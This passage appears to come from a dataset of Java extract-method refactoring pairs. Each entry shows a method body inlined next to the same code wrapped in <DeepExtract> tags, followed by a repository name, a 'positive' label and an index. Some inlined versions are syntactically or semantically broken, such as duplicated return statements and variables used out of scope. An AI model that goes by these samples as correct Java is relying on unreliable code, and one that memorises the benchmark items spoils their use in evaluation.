speedChange = 0;
}
if (tempTimeSegments.isEmpty() || tempTimeSegments.get(tempTimeSegments.size() - 1).speedChange != speedChange) {
tempTimeSegments.add(new TimeSegment(railProgress, speed, time, speedChange, accelerationConstant));
}
railProgress = Math.min(railProgress + speed, distanceSum2);
time++;
final TimeSegment timeSegment = tempTimeSegments.get(tempTimeSegments.size() - 1);
timeSegment.endRailProgress = railProgress;
timeSegment.endTime = time;
timeSegment.savedRailBaseId = nextStoppingDistance != distanceSum1 && railProgress == distanceSum2 && pathData.dwellTime > 0 ? pathData.savedRailBaseId : 0;
}
time += pathData.dwellTime * 5;
if (pathData.savedRailBaseId != 0) {
if (savedRailBaseIdOld != 0) {
if (!tempPlatformTimes.containsKey(savedRailBaseIdOld)) {
tempPlatformTimes.put(savedRailBaseIdOld, new HashMap<>());
}
tempPlatformTimes.get(savedRailBaseIdOld).put(pathData.savedRailBaseId, time - timeOld);
}
savedRailBaseIdOld = pathData.savedRailBaseId;
timeOld = time;
}
time += pathData.dwellTime * 5;
if (i + 1 < tempPath.size() && pathData.isOppositeRail(tempPath.get(i + 1))) {
railProgress += spacing * trainCars;
}
}
</DeepExtract>
minecraftServer.execute(() -> {
try {
path.clear();
if (tempPath.isEmpty()) {
generateDefaultPath(rails);
} else {
path.addAll(tempPath);
}
timeSegments.clear();
timeSegments.addAll(tempTimeSegments);
platformTimes.clear();
platformTimes.putAll(tempPlatformTimes);
generateDistances();
if (tempRepeatIndex1 != repeatIndex1 || tempRepeatIndex2 != repeatIndex2) {
trains.clear();
}
repeatIndex1 = tempRepeatIndex1;
repeatIndex2 = tempRepeatIndex2;
} catch (Exception e) {
e.printStackTrace();
}
});
return successfulSegments;
} | Minecraft-Transit-Railway | positive | 3,299 |
protected int indexCompare(CalendarItem e1, CalendarItem e2) {
if (e2.getIndex().isAllDay() != e1.getIndex().isAllDay()) {
if (e1.getIndex().isAllDay()) {
return 1;
}
return -1;
}
int result = doCompare(e2.getIndex(), e1.getIndex());
if (result == 0) {
return indexCompare(e2.getIndex(), e1.getIndex());
}
return result;
} | protected int indexCompare(CalendarItem e1, CalendarItem e2) {
<DeepExtract>
if (e2.getIndex().isAllDay() != e1.getIndex().isAllDay()) {
if (e1.getIndex().isAllDay()) {
return 1;
}
return -1;
}
int result = doCompare(e2.getIndex(), e1.getIndex());
if (result == 0) {
return indexCompare(e2.getIndex(), e1.getIndex());
}
return result;
</DeepExtract>
} | calendar-component | positive | 3,300 |
public static Builder newBuilder(response prototype) {
if (prototype instanceof request) {
return mergeFrom((request) prototype);
} else {
super.mergeFrom(prototype);
return this;
}
} | public static Builder newBuilder(response prototype) {
<DeepExtract>
if (prototype instanceof request) {
return mergeFrom((request) prototype);
} else {
super.mergeFrom(prototype);
return this;
}
</DeepExtract>
} | NebulaMOOC | positive | 3,301 |
public boolean isUseSimplifiedAtFiles() {
String value = System.getProperty("picocli.useSimplifiedAtFiles");
if (value != null) {
return "".equals(value) || Boolean.valueOf(value);
}
return useSimplifiedAtFiles;
} | public boolean isUseSimplifiedAtFiles() {
<DeepExtract>
String value = System.getProperty("picocli.useSimplifiedAtFiles");
if (value != null) {
return "".equals(value) || Boolean.valueOf(value);
}
return useSimplifiedAtFiles;
</DeepExtract>
} | eclipstyle | positive | 3,302 |
private void clearTuning() {
if ((0 < 0) || (0 < 0)) {
throw new IllegalArgumentException();
}
minReplyDelay = 0;
maxReplyDelay = 0;
notifyReplyDelayChanged();
if ((0f < 0) || (0f > 1)) {
throw new IllegalArgumentException("no reply rate must be a value between 0 and 1");
}
noReplyRate = 0f;
notifyErrorRatesChanged();
} | private void clearTuning() {
if ((0 < 0) || (0 < 0)) {
throw new IllegalArgumentException();
}
minReplyDelay = 0;
maxReplyDelay = 0;
notifyReplyDelayChanged();
<DeepExtract>
if ((0f < 0) || (0f > 1)) {
throw new IllegalArgumentException("no reply rate must be a value between 0 and 1");
}
noReplyRate = 0f;
notifyErrorRatesChanged();
</DeepExtract>
} | ModbusPal | positive | 3,303 |
public HibernateRequest<T> lt(String propertyName, Object value) {
restrictions.add(Restrictions.lt(propertyName, value));
return this;
return this;
} | public HibernateRequest<T> lt(String propertyName, Object value) {
<DeepExtract>
restrictions.add(Restrictions.lt(propertyName, value));
return this;
</DeepExtract>
return this;
} | fluent-hibernate | positive | 3,304 |
public boolean visit(FieldAccess node) {
ITypeBinding tb = node.resolveTypeBinding();
if (tb != null) {
if (tb.getName().equals("boolean")) {
expressionsInScope.add(node);
}
}
return true;
} | public boolean visit(FieldAccess node) {
<DeepExtract>
ITypeBinding tb = node.resolveTypeBinding();
if (tb != null) {
if (tb.getName().equals("boolean")) {
expressionsInScope.add(node);
}
}
</DeepExtract>
return true;
} | genprog4java | positive | 3,305 |
@Override
@SuppressWarnings("unchecked")
public <T> AsyncQuery<T> readAsyncQueryStructure(Message message) {
AsyncQueryJson asyncQueryJson;
try {
asyncQueryJson = objectMapper.readValue(message.getBody(), AsyncQueryJson.class);
} catch (IOException e) {
throw new MessageConversionException("Failed to convert Message content", e);
}
return new AsyncQuery<>(asyncQueryJson.getResource(), (T) asyncQueryJson.getQueryData());
} | @Override
@SuppressWarnings("unchecked")
public <T> AsyncQuery<T> readAsyncQueryStructure(Message message) {
<DeepExtract>
AsyncQueryJson asyncQueryJson;
try {
asyncQueryJson = objectMapper.readValue(message.getBody(), AsyncQueryJson.class);
} catch (IOException e) {
throw new MessageConversionException("Failed to convert Message content", e);
}
</DeepExtract>
return new AsyncQuery<>(asyncQueryJson.getResource(), (T) asyncQueryJson.getQueryData());
} | reactive-commons-java | positive | 3,306 |
@Override
public void dispatchDraw(Canvas canvas) {
switch(mDirection) {
case DIRECTION_LEFT:
mPathControl3.x = mPathControl2.x = mPathControl.x = mThickness;
break;
case DIRECTION_RIGHT:
mPathControl3.x = mPathControl2.x = mPathControl.x = mWidth - mThickness;
break;
case DIRECTION_TOP:
mPathControl3.y = mPathControl2.y = mPathControl.y = mThickness;
break;
case DIRECTION_BOTTOM:
mPathControl3.y = mPathControl2.y = mPathControl.y = mHeight - mThickness;
break;
default:
break;
}
float percent = getProgress();
int alpha = (int) (0xFF * ensureBetween(percent, 0.2F, 0.8F));
mPaint.setAlpha(alpha);
mPath.reset();
mPath.moveTo(mPathStart.x, mPathStart.y);
mPath.cubicTo(mPathControl1.x, mPathControl1.y, mPathControl2.x, mPathControl2.y, mPathControl.x, mPathControl.y);
mPath.cubicTo(mPathControl3.x, mPathControl3.y, mPathControl4.x, mPathControl4.y, mPathEnd.x, mPathEnd.y);
canvas.drawPath(mPath, mPaint);
percent = ensureBetween(percent, 0F, 1F);
float startX, startY, middleX, middleY, endX, endY;
float arrowAddition = percent < 0.5 ? 0 : (percent - 0.5f) * mArrowSize * 2;
float offset = mThickness / 2;
switch(mDirection) {
case DIRECTION_LEFT:
case DIRECTION_RIGHT:
boolean left = mDirection == DIRECTION_LEFT;
middleX = left ? offset : mWidth - offset;
middleY = mPathControl.y;
startX = endX = middleX + arrowAddition * (left ? 1 : -1);
startY = mPathControl.y - mArrowSize;
endY = mPathControl.y + mArrowSize;
break;
case DIRECTION_TOP:
case DIRECTION_BOTTOM:
boolean top = mDirection == DIRECTION_TOP;
middleY = top ? offset : mHeight - offset;
middleX = mPathControl.x;
startY = endY = middleY + arrowAddition * (top ? 1 : -1);
startX = mPathControl.x - mArrowSize;
endX = mPathControl.x + mArrowSize;
break;
default:
return;
}
mPaintArrow.setAlpha((int) (0xFF * percent));
mPathArrow.reset();
mPathArrow.moveTo(startX, startY);
mPathArrow.lineTo(middleX, middleY);
mPathArrow.lineTo(endX, endY);
canvas.drawPath(mPathArrow, mPaintArrow);
} | @Override
public void dispatchDraw(Canvas canvas) {
switch(mDirection) {
case DIRECTION_LEFT:
mPathControl3.x = mPathControl2.x = mPathControl.x = mThickness;
break;
case DIRECTION_RIGHT:
mPathControl3.x = mPathControl2.x = mPathControl.x = mWidth - mThickness;
break;
case DIRECTION_TOP:
mPathControl3.y = mPathControl2.y = mPathControl.y = mThickness;
break;
case DIRECTION_BOTTOM:
mPathControl3.y = mPathControl2.y = mPathControl.y = mHeight - mThickness;
break;
default:
break;
}
float percent = getProgress();
int alpha = (int) (0xFF * ensureBetween(percent, 0.2F, 0.8F));
mPaint.setAlpha(alpha);
mPath.reset();
mPath.moveTo(mPathStart.x, mPathStart.y);
mPath.cubicTo(mPathControl1.x, mPathControl1.y, mPathControl2.x, mPathControl2.y, mPathControl.x, mPathControl.y);
mPath.cubicTo(mPathControl3.x, mPathControl3.y, mPathControl4.x, mPathControl4.y, mPathEnd.x, mPathEnd.y);
canvas.drawPath(mPath, mPaint);
<DeepExtract>
percent = ensureBetween(percent, 0F, 1F);
float startX, startY, middleX, middleY, endX, endY;
float arrowAddition = percent < 0.5 ? 0 : (percent - 0.5f) * mArrowSize * 2;
float offset = mThickness / 2;
switch(mDirection) {
case DIRECTION_LEFT:
case DIRECTION_RIGHT:
boolean left = mDirection == DIRECTION_LEFT;
middleX = left ? offset : mWidth - offset;
middleY = mPathControl.y;
startX = endX = middleX + arrowAddition * (left ? 1 : -1);
startY = mPathControl.y - mArrowSize;
endY = mPathControl.y + mArrowSize;
break;
case DIRECTION_TOP:
case DIRECTION_BOTTOM:
boolean top = mDirection == DIRECTION_TOP;
middleY = top ? offset : mHeight - offset;
middleX = mPathControl.x;
startY = endY = middleY + arrowAddition * (top ? 1 : -1);
startX = mPathControl.x - mArrowSize;
endX = mPathControl.x + mArrowSize;
break;
default:
return;
}
mPaintArrow.setAlpha((int) (0xFF * percent));
mPathArrow.reset();
mPathArrow.moveTo(startX, startY);
mPathArrow.lineTo(middleX, middleY);
mPathArrow.lineTo(endX, endY);
canvas.drawPath(mPathArrow, mPaintArrow);
</DeepExtract>
} | SmartSwipe | positive | 3,307 |
public Criteria andNoticeNotLike(String value) {
if (value == null) {
throw new RuntimeException("Value for " + "notice" + " cannot be null");
}
criteria.add(new Criterion("notice not like", value));
return (Criteria) this;
} | public Criteria andNoticeNotLike(String value) {
<DeepExtract>
if (value == null) {
throw new RuntimeException("Value for " + "notice" + " cannot be null");
}
criteria.add(new Criterion("notice not like", value));
</DeepExtract>
return (Criteria) this;
} | webim | positive | 3,308 |
private void tabMainStateChanged() {
switch(tabMain.getSelectedIndex()) {
case 0:
prt.setService(Kw1281Prot.SVC_NONE);
break;
case 1:
prt.setService(Kw1281Prot.SVC_NONE);
break;
case 2:
prt.setService(cbFrameNum.getSelectedIndex() == 0 ? Kw1281Prot.SVC_READ_DATA_ALL : Kw1281Prot.SVC_READ_DATA_GRP);
break;
default:
prt.setService(Kw1281Prot.SVC_NONE);
}
} | private void tabMainStateChanged() {
<DeepExtract>
switch(tabMain.getSelectedIndex()) {
case 0:
prt.setService(Kw1281Prot.SVC_NONE);
break;
case 1:
prt.setService(Kw1281Prot.SVC_NONE);
break;
case 2:
prt.setService(cbFrameNum.getSelectedIndex() == 0 ? Kw1281Prot.SVC_READ_DATA_ALL : Kw1281Prot.SVC_READ_DATA_GRP);
break;
default:
prt.setService(Kw1281Prot.SVC_NONE);
}
</DeepExtract>
} | AndrOBD | positive | 3,309 |
public synchronized void menu(float timeSeconds, int eventId, String title, String prompt, String... items) throws IOException, UnsupportedOperationException {
if (ourProtocol < 0x3) {
throw new UnsupportedOperationException(Messages.getString("SimConnect.badversion"));
}
writeBuffer.clear();
writeBuffer.position(16);
writeBuffer.putInt(TextType.MENU.value());
writeBuffer.putFloat(timeSeconds);
writeBuffer.putInt(eventId);
writeBuffer.putInt(0);
if (title == null && prompt == null && items == null) {
writeBuffer.put((byte) 0);
} else {
writeBuffer.put(title.getBytes());
writeBuffer.put((byte) 0);
writeBuffer.put(prompt.getBytes());
writeBuffer.put((byte) 0);
for (String s : items) {
if (s != null) {
byte[] itemBytes = s.getBytes();
writeBuffer.put(itemBytes);
writeBuffer.put((byte) 0);
}
}
}
writeBuffer.putInt(28, writeBuffer.position() - 32);
int packetSize = writeBuffer.position();
writeBuffer.putInt(0, packetSize);
writeBuffer.putInt(4, ourProtocol);
writeBuffer.putInt(8, 0xF0000000 | 0x40);
writeBuffer.putInt(12, currentIndex++);
writeBuffer.flip();
sc.write(writeBuffer);
packetsSent++;
bytesSent += packetSize;
} | public synchronized void menu(float timeSeconds, int eventId, String title, String prompt, String... items) throws IOException, UnsupportedOperationException {
if (ourProtocol < 0x3) {
throw new UnsupportedOperationException(Messages.getString("SimConnect.badversion"));
}
writeBuffer.clear();
writeBuffer.position(16);
writeBuffer.putInt(TextType.MENU.value());
writeBuffer.putFloat(timeSeconds);
writeBuffer.putInt(eventId);
writeBuffer.putInt(0);
if (title == null && prompt == null && items == null) {
writeBuffer.put((byte) 0);
} else {
writeBuffer.put(title.getBytes());
writeBuffer.put((byte) 0);
writeBuffer.put(prompt.getBytes());
writeBuffer.put((byte) 0);
for (String s : items) {
if (s != null) {
byte[] itemBytes = s.getBytes();
writeBuffer.put(itemBytes);
writeBuffer.put((byte) 0);
}
}
}
writeBuffer.putInt(28, writeBuffer.position() - 32);
<DeepExtract>
int packetSize = writeBuffer.position();
writeBuffer.putInt(0, packetSize);
writeBuffer.putInt(4, ourProtocol);
writeBuffer.putInt(8, 0xF0000000 | 0x40);
writeBuffer.putInt(12, currentIndex++);
writeBuffer.flip();
sc.write(writeBuffer);
packetsSent++;
bytesSent += packetSize;
</DeepExtract>
} | jsimconnect | positive | 3,310 |
@Override
public String send(BigInteger amount, String destinationAddress, Wallet sourceWallet) throws XrpException {
SendXrpDetails sendXrpDetails = SendXrpDetails.builder().amount(amount).destination(destinationAddress).sender(sourceWallet).build();
String transactionHash = this.decoratedClient.sendWithDetails(sendXrpDetails);
this.awaitFinalTransactionResult(transactionHash, sendXrpDetails.sender());
return transactionHash;
} | @Override
public String send(BigInteger amount, String destinationAddress, Wallet sourceWallet) throws XrpException {
SendXrpDetails sendXrpDetails = SendXrpDetails.builder().amount(amount).destination(destinationAddress).sender(sourceWallet).build();
<DeepExtract>
String transactionHash = this.decoratedClient.sendWithDetails(sendXrpDetails);
this.awaitFinalTransactionResult(transactionHash, sendXrpDetails.sender());
return transactionHash;
</DeepExtract>
} | xpring4j | positive | 3,314 |
@Override
public LocalDateTime value2() {
return (LocalDateTime) get(1);
} | @Override
public LocalDateTime value2() {
<DeepExtract>
return (LocalDateTime) get(1);
</DeepExtract>
} | openvsx | positive | 3,315 |
@Override
public void reset() throws IOException {
super.reset();
clearAttributes();
indexWord = 0;
indexSentence = 0;
indexWord = 0;
finalOffset = 0;
wordSet = null;
} | @Override
public void reset() throws IOException {
super.reset();
clearAttributes();
<DeepExtract>
indexWord = 0;
indexSentence = 0;
indexWord = 0;
finalOffset = 0;
wordSet = null;
</DeepExtract>
} | jate | positive | 3,316 |
public Criteria andPasswordNotLike(String value) {
if (value == null) {
throw new RuntimeException("Value for " + "password" + " cannot be null");
}
criteria.add(new Criterion("password not like", value));
return (Criteria) this;
} | public Criteria andPasswordNotLike(String value) {
<DeepExtract>
if (value == null) {
throw new RuntimeException("Value for " + "password" + " cannot be null");
}
criteria.add(new Criterion("password not like", value));
</DeepExtract>
return (Criteria) this;
} | ssmBillBook | positive | 3,317 |
public QueryBuilder SELECT_DISTINCT_SUM(final String columnName) {
assertSQLIsEmpty();
if (columnName.trim().isEmpty()) {
switch(SelectType.DISTINCT_SUM) {
case AVG:
getSql().append("SELECT AVG(");
break;
case COUNT:
getSql().append("SELECT COUNT(");
break;
case SUM:
getSql().append("SELECT SUM(");
break;
case MAX:
getSql().append("SELECT MAX(");
break;
case MIN:
getSql().append("SELECT MIN(");
break;
case DISTINCT_AVG:
getSql().append("SELECT AVG(DISTINCT ");
break;
case DISTINCT_COUNT:
getSql().append("SELECT COUNT(DISTINCT ");
break;
case DISTINCT_SUM:
getSql().append("SELECT SUM(DISTINCT ");
break;
}
getSql().append(columnName).append(") ");
return this;
} else
throw new IllegalArgumentException("Column Name Cannot Be Empty!");
} | public QueryBuilder SELECT_DISTINCT_SUM(final String columnName) {
<DeepExtract>
assertSQLIsEmpty();
if (columnName.trim().isEmpty()) {
switch(SelectType.DISTINCT_SUM) {
case AVG:
getSql().append("SELECT AVG(");
break;
case COUNT:
getSql().append("SELECT COUNT(");
break;
case SUM:
getSql().append("SELECT SUM(");
break;
case MAX:
getSql().append("SELECT MAX(");
break;
case MIN:
getSql().append("SELECT MIN(");
break;
case DISTINCT_AVG:
getSql().append("SELECT AVG(DISTINCT ");
break;
case DISTINCT_COUNT:
getSql().append("SELECT COUNT(DISTINCT ");
break;
case DISTINCT_SUM:
getSql().append("SELECT SUM(DISTINCT ");
break;
}
getSql().append(columnName).append(") ");
return this;
} else
throw new IllegalArgumentException("Column Name Cannot Be Empty!");
</DeepExtract>
} | JavaUltimateTools | positive | 3,319 |
@Override
public String value4() {
return (String) get(3);
} | @Override
public String value4() {
<DeepExtract>
return (String) get(3);
</DeepExtract>
} | graphql-java-db-example | positive | 3,320 |
public void setFilter(Filter filter) {
this.filter = filter;
adapter.setAdapterViewWrapper(wrapper);
adapter.setFilter(filter);
} | public void setFilter(Filter filter) {
this.filter = filter;
<DeepExtract>
adapter.setAdapterViewWrapper(wrapper);
adapter.setFilter(filter);
</DeepExtract>
} | selfoss-android | positive | 3,321 |
@SuppressWarnings("unused")
private void move(Point p) {
if (_edges != null) {
_edges.clear();
_edges = null;
}
if (_edgeOrientations != null) {
_edgeOrientations.clear();
_edgeOrientations = null;
}
if (_region != null) {
_region.clear();
_region = null;
}
_coord = p;
} | @SuppressWarnings("unused")
private void move(Point p) {
<DeepExtract>
if (_edges != null) {
_edges.clear();
_edges = null;
}
if (_edgeOrientations != null) {
_edgeOrientations.clear();
_edgeOrientations = null;
}
if (_region != null) {
_region.clear();
_region = null;
}
</DeepExtract>
_coord = p;
} | nortantis | positive | 3,322 |
@Override
public void registerCustomization(final InstanceGenerator instanceGenerator) {
generators.add(0, instanceGenerator);
autoPropertiesDisabled = this.autoPropertiesDisabled;
for (final InstanceGenerator generator : generators) {
generator.setOmittingAutoProperties(this.autoPropertiesDisabled);
}
customizationsCount++;
} | @Override
public void registerCustomization(final InstanceGenerator instanceGenerator) {
generators.add(0, instanceGenerator);
<DeepExtract>
autoPropertiesDisabled = this.autoPropertiesDisabled;
for (final InstanceGenerator generator : generators) {
generator.setOmittingAutoProperties(this.autoPropertiesDisabled);
}
</DeepExtract>
customizationsCount++;
} | AutoFixtureGenerator | positive | 3,323 |
@Override
public Set<Entry<String, V>> entrySet() {
RadixTreeVisitor<V, Set<Entry<String, V>>> visitor = new RadixTreeVisitor<V, Set<Entry<String, V>>>() {
Set<Entry<String, V>> result = new HashSet<>();
@Override
public void visit(String key, V value) {
result.add(new AbstractMap.SimpleEntry<>(key, value));
}
@Override
public Set<Entry<String, V>> getResult() {
return result;
}
};
visit(root, "", "", visitor);
return result;
} | @Override
public Set<Entry<String, V>> entrySet() {
RadixTreeVisitor<V, Set<Entry<String, V>>> visitor = new RadixTreeVisitor<V, Set<Entry<String, V>>>() {
Set<Entry<String, V>> result = new HashSet<>();
@Override
public void visit(String key, V value) {
result.add(new AbstractMap.SimpleEntry<>(key, value));
}
@Override
public Set<Entry<String, V>> getResult() {
<DeepExtract>
return result;
</DeepExtract>
}
};
visit(root, "", "", visitor);
<DeepExtract>
return result;
</DeepExtract>
} | iview-android-tv | positive | 3,324 |
@Override
public void visitPropertyWrite(AstPropertyWrite instruction) {
if (AstIPASSAPropagationCallGraphBuilder.DEBUG_PROPERTIES) {
Position instructionPosition = getInstructionPosition(instruction);
if (instructionPosition != null) {
System.err.println("processing write instruction " + instruction + ", position " + instructionPosition);
}
}
IRView ir = getBuilder().getCFAContextInterpreter().getIRView(node);
SymbolTable symtab = ir.getSymbolTable();
DefUse du = getBuilder().getCFAContextInterpreter().getDU(node);
PointerKey rhsKey = getBuilder().getPointerKeyForLocal(node, instruction.getUse(2));
if (contentsAreInvariant(symtab, du, instruction.getUse(2))) {
system.recordImplicitPointsToSet(rhsKey);
newFieldWrite(node, instruction.getUse(0), instruction.getUse(1), getInvariantContents(symtab, du, node, instruction.getUse(2)));
} else {
newFieldWrite(node, instruction.getUse(0), instruction.getUse(1), rhsKey);
}
} | @Override
public void visitPropertyWrite(AstPropertyWrite instruction) {
if (AstIPASSAPropagationCallGraphBuilder.DEBUG_PROPERTIES) {
Position instructionPosition = getInstructionPosition(instruction);
if (instructionPosition != null) {
System.err.println("processing write instruction " + instruction + ", position " + instructionPosition);
}
}
<DeepExtract>
IRView ir = getBuilder().getCFAContextInterpreter().getIRView(node);
SymbolTable symtab = ir.getSymbolTable();
DefUse du = getBuilder().getCFAContextInterpreter().getDU(node);
PointerKey rhsKey = getBuilder().getPointerKeyForLocal(node, instruction.getUse(2));
if (contentsAreInvariant(symtab, du, instruction.getUse(2))) {
system.recordImplicitPointsToSet(rhsKey);
newFieldWrite(node, instruction.getUse(0), instruction.getUse(1), getInvariantContents(symtab, du, node, instruction.getUse(2)));
} else {
newFieldWrite(node, instruction.getUse(0), instruction.getUse(1), rhsKey);
}
</DeepExtract>
} | Incremental_Points_to_Analysis | positive | 3,325 |
public _Fields fieldForId(int fieldId) {
switch(fieldId) {
case 1:
return OS;
case 2:
return UOS;
case 3:
return MOS;
default:
return null;
}
} | public _Fields fieldForId(int fieldId) {
<DeepExtract>
switch(fieldId) {
case 1:
return OS;
case 2:
return UOS;
case 3:
return MOS;
default:
return null;
}
</DeepExtract>
} | Firefly | positive | 3,326 |
public Criteria andCollegeidGreaterThan(Integer value) {
if (value == null) {
throw new RuntimeException("Value for " + "collegeid" + " cannot be null");
}
criteria.add(new Criterion("collegeID >", value));
return (Criteria) this;
} | public Criteria andCollegeidGreaterThan(Integer value) {
<DeepExtract>
if (value == null) {
throw new RuntimeException("Value for " + "collegeid" + " cannot be null");
}
criteria.add(new Criterion("collegeID >", value));
</DeepExtract>
return (Criteria) this;
} | examination_system- | positive | 3,327 |
public Criteria andThumbIdParentEqualTo(Long value) {
if (value == null) {
throw new RuntimeException("Value for " + "thumbIdParent" + " cannot be null");
}
criteria.add(new Criterion("THUMB_ID_PARENT =", value));
return (Criteria) this;
} | public Criteria andThumbIdParentEqualTo(Long value) {
<DeepExtract>
if (value == null) {
throw new RuntimeException("Value for " + "thumbIdParent" + " cannot be null");
}
criteria.add(new Criterion("THUMB_ID_PARENT =", value));
</DeepExtract>
return (Criteria) this;
} | communitycode | positive | 3,328 |
protected final boolean createIndex(SQLiteDatabase db, String table, boolean unique, String firstColumn, String... otherColumns) {
ArrayList<String> statements = new ArrayList<String>();
statements.add(PersistUtils.getCreateIndex(table, unique, firstColumn, otherColumns));
try {
return PersistUtils.executeStatements(db, statements);
} catch (Exception e) {
throw new RuntimeException(e);
}
} | protected final boolean createIndex(SQLiteDatabase db, String table, boolean unique, String firstColumn, String... otherColumns) {
ArrayList<String> statements = new ArrayList<String>();
statements.add(PersistUtils.getCreateIndex(table, unique, firstColumn, otherColumns));
<DeepExtract>
try {
return PersistUtils.executeStatements(db, statements);
} catch (Exception e) {
throw new RuntimeException(e);
}
</DeepExtract>
} | droidparts | positive | 3,329 |
public static void NTMC64B(final char charOut, final char charIn, final int k, final int m, final long[] frhVals, final long[] hVal) {
hVal[0] = NTPC64B(charOut, charIn, k, frhVals);
long tVal;
for (int i = 1; i < m; ++i) {
tVal = NTPC64B(charOut, charIn, k, frhVals) * (i ^ k * multiSeed);
tVal ^= tVal >>> multiShift;
hVal[i] = tVal;
}
} | public static void NTMC64B(final char charOut, final char charIn, final int k, final int m, final long[] frhVals, final long[] hVal) {
<DeepExtract>
hVal[0] = NTPC64B(charOut, charIn, k, frhVals);
long tVal;
for (int i = 1; i < m; ++i) {
tVal = NTPC64B(charOut, charIn, k, frhVals) * (i ^ k * multiSeed);
tVal ^= tVal >>> multiShift;
hVal[i] = tVal;
}
</DeepExtract>
} | RNA-Bloom | positive | 3,330 |
public void handleConnectFinishGET(Page currentPage, HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String token = req.getParameter(CONNECT_TOKEN_KEY);
Map<String, String> connectMap = new HashMap<>();
if (token != null) {
String tokenData = new String(Base64.decodeBase64(token));
String[] tokenDataLines = tokenData.split("\n");
for (String line : tokenDataLines) {
String[] parts = line.split(":");
if (parts.length > 1) {
connectMap.put(parts[0], parts[1]);
}
}
Context.instance(req).storeConnectMap(connectMap);
}
currentPage.dispatchToJSP(req, resp);
} | public void handleConnectFinishGET(Page currentPage, HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String token = req.getParameter(CONNECT_TOKEN_KEY);
Map<String, String> connectMap = new HashMap<>();
if (token != null) {
String tokenData = new String(Base64.decodeBase64(token));
String[] tokenDataLines = tokenData.split("\n");
for (String line : tokenDataLines) {
String[] parts = line.split(":");
if (parts.length > 1) {
connectMap.put(parts[0], parts[1]);
}
}
Context.instance(req).storeConnectMap(connectMap);
}
<DeepExtract>
currentPage.dispatchToJSP(req, resp);
</DeepExtract>
} | nuxeo-distribution | positive | 3,331 |
@Test
public void testWithFileAndStandardTemplate() throws Exception {
File fileDest = new File(this.outReportFolder.getAbsolutePath(), "test_with_file_and_standard_template.xlsx");
SXSSFWorkbook workbook = new SXSSFWorkbook();
String headerText = "My simple header";
final HueStyleTemplate styleTemplate = StandardStyleTemplate.class.getConstructor().newInstance();
MempoiSheet sheet = MempoiSheetBuilder.aMempoiSheet().withSimpleHeaderText(headerText).withSimpleFooterText(TestHelper.SIMPLE_TEXT_FOOTER).withPrepStmt(prepStmt).build();
MemPOI memPOI = MempoiBuilder.aMemPOI().withWorkbook(workbook).withFile(fileDest).withAdjustColumnWidth(true).addMempoiSheet(sheet).withStyleTemplate(styleTemplate).withMempoiSubFooter(new NumberSumSubFooter()).withEvaluateCellFormulas(true).build();
final MempoiReport mempoiReport = memPOI.prepareMempoiReport().get();
assertEquals("file name len === starting fileDest", fileDest.getAbsolutePath(), mempoiReport.getFile());
AssertionHelper.assertOnGeneratedFile(this.createStatement(), mempoiReport.getFile(), TestHelper.COLUMNS, TestHelper.HEADERS, "SUM(H3:H12)", styleTemplate, 0, 0, 0, true);
assertOnSimpleTextHeaderOrFooterGeneratedFile(mempoiReport.getFile(), headerText, 0, 0, TestHelper.COLUMNS.length - 1, 0, styleTemplate.getSimpleTextHeaderCellStyle(workbook));
assertOnSimpleTextHeaderOrFooterGeneratedFile(mempoiReport.getFile(), TestHelper.SIMPLE_TEXT_FOOTER, 13, 0, TestHelper.COLUMNS.length - 1, 1, styleTemplate.getSimpleTextFooterCellStyle(workbook));
} | @Test
public void testWithFileAndStandardTemplate() throws Exception {
<DeepExtract>
File fileDest = new File(this.outReportFolder.getAbsolutePath(), "test_with_file_and_standard_template.xlsx");
SXSSFWorkbook workbook = new SXSSFWorkbook();
String headerText = "My simple header";
final HueStyleTemplate styleTemplate = StandardStyleTemplate.class.getConstructor().newInstance();
MempoiSheet sheet = MempoiSheetBuilder.aMempoiSheet().withSimpleHeaderText(headerText).withSimpleFooterText(TestHelper.SIMPLE_TEXT_FOOTER).withPrepStmt(prepStmt).build();
MemPOI memPOI = MempoiBuilder.aMemPOI().withWorkbook(workbook).withFile(fileDest).withAdjustColumnWidth(true).addMempoiSheet(sheet).withStyleTemplate(styleTemplate).withMempoiSubFooter(new NumberSumSubFooter()).withEvaluateCellFormulas(true).build();
final MempoiReport mempoiReport = memPOI.prepareMempoiReport().get();
assertEquals("file name len === starting fileDest", fileDest.getAbsolutePath(), mempoiReport.getFile());
AssertionHelper.assertOnGeneratedFile(this.createStatement(), mempoiReport.getFile(), TestHelper.COLUMNS, TestHelper.HEADERS, "SUM(H3:H12)", styleTemplate, 0, 0, 0, true);
assertOnSimpleTextHeaderOrFooterGeneratedFile(mempoiReport.getFile(), headerText, 0, 0, TestHelper.COLUMNS.length - 1, 0, styleTemplate.getSimpleTextHeaderCellStyle(workbook));
assertOnSimpleTextHeaderOrFooterGeneratedFile(mempoiReport.getFile(), TestHelper.SIMPLE_TEXT_FOOTER, 13, 0, TestHelper.COLUMNS.length - 1, 1, styleTemplate.getSimpleTextFooterCellStyle(workbook));
</DeepExtract>
} | MemPOI | positive | 3,332 |
private void createCenter() {
VBox center = new VBox(10);
center.setPadding(new Insets(10, 10, 10, 10));
center.setAlignment(Pos.TOP_CENTER);
webView = new WebView();
webView.getEngine().setUserStyleSheetLocation(ClassLoader.getSystemResource("css/webview.css").toString());
HBox bottom = new HBox();
bottom.setAlignment(Pos.CENTER_RIGHT);
Button btClose = new Button(I18n.t(Constants.I18N_CLOSE));
btClose.setMinWidth(100);
btClose.setOnAction(event -> closeHelp());
bottom.getChildren().add(btClose);
webView.getEngine().load(ConfigurationManager.getHelpFile());
center.getChildren().addAll(webView, bottom);
setCenter(center);
} | private void createCenter() {
VBox center = new VBox(10);
center.setPadding(new Insets(10, 10, 10, 10));
center.setAlignment(Pos.TOP_CENTER);
webView = new WebView();
webView.getEngine().setUserStyleSheetLocation(ClassLoader.getSystemResource("css/webview.css").toString());
HBox bottom = new HBox();
bottom.setAlignment(Pos.CENTER_RIGHT);
Button btClose = new Button(I18n.t(Constants.I18N_CLOSE));
btClose.setMinWidth(100);
btClose.setOnAction(event -> closeHelp());
bottom.getChildren().add(btClose);
<DeepExtract>
webView.getEngine().load(ConfigurationManager.getHelpFile());
</DeepExtract>
center.getChildren().addAll(webView, bottom);
setCenter(center);
} | roda-in | positive | 3,333 |
@Override
public boolean onDoubleTap(MotionEvent e) {
final int kLedSize = (int) MetricsUtils.convertDpToPixel(this, kLedPixelSize);
final int canvasViewWidth = mBoardContentView.getWidth();
final int canvasViewHeight = mBoardContentView.getHeight();
final int boardWidth = mBoard.width * kLedSize;
